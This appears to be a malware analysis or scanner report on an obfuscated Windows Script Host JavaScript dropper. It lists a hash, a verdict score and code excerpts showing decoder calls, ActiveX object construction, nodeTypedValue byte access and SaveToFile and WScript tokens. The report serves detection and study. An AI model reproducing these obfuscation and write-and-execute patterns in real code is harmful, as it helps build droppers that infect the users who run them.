Hostile ^92% Download

gqqbklhd.JS

Obfuscated WSH malware with ActiveX

Layered JavaScript obfuscation hides a decoded WSH payload writeObfuscated WSH script writes and runs a payload

SHA-2569c72a742096ee7727cc5bc3ed1965557b2a269676142fa57546dd98b77190726

URLhttps://mb-api.abuse.ch/api/v1/

Evidence

Computed call uses a decoder function lines 84–96

27… GA99224 = BOMXGCUBGPFFXYGA19553;
  
      if (BOMXGCUBGPFFXYGA99224(0x384) !== BOMXGCUBGPFFXYGA99224(0x384))
          BOMXGCUBGPFFXYGA70525[BOMXGCUBGPFFXYGA99224(0x346)](BOMXGCUBGPFFXYGA88660[BOMXGCUBGPFFXYGA99224(0x2e8)]());
  
      else
⋯7 lines

Constructs ActiveX object from variable ProgID lines 2076–2090

⋯4 lines
2080
2081}
2082var BOMXGCUBGPFFXYGAPNY = new ActiveXObject(BOMXGCUBGPFFXYGAASC);
2083
2084function BOMXGCUBGPFFXYGACX(BOMXGCUBGPFFXYGA36505) {
⋯6 lines

MSXML nodeTypedValue byte access lines 2595–2610

12… NRD',
      'eimgF',
      'mGwqy',
      'eTKbS',
      'EVEX.256.66.BOMXGCUBGPFFXYGAAQ.W0\x204C\x20/r',
      'nodeTypedValue',
      'EVEX.LIG.66.BOMXGCUBGPFFXYGAAQ.W0\x209F\x20/r',
      'R:m512',
⋯8 lines

ADODB-compatible SaveToFile method token lines 3361–3376

5…     'htnJA',
      'W:ymm\x20{kz},~ymm,~ymm/m256/b16',
      'BMI2',
      'BOMXGCUBGPFFXYGAOIIIIIsub132sh',
      'SaveToFile',
      'BOMXGCUBGPFFXYGAOIIIIIadd231ph',
      'jDYZw',
⋯9 lines

WScript bracket-member access in source text lines 4105–4115

3…   
      BOMXGCUBGPFFXYGA57622 += BOMXGCUBGPFFXYGA22446(-0x9b, 0x2a1, 0x88);
  
  
}
  var BOMXGCUBGPFFXYGAWTE = WScript[BOMXGCUBGPFFXYGA63204(0x341, 0x3ce, 0xb3)];

  function BOMXGCUBGPFFXYGACX(BOMXGCUBGPFFXYGA67278) {
  
      var BOMXGCUBGPFFXYGA12449 = BOMXGCUBGPFFXYGA60612, BOMXGCUBGPFFXYGA65177 = {
     'eTbyB': BOMXGCUBGPFFXYGA67802(0x1ae, 0x160, 0x161 …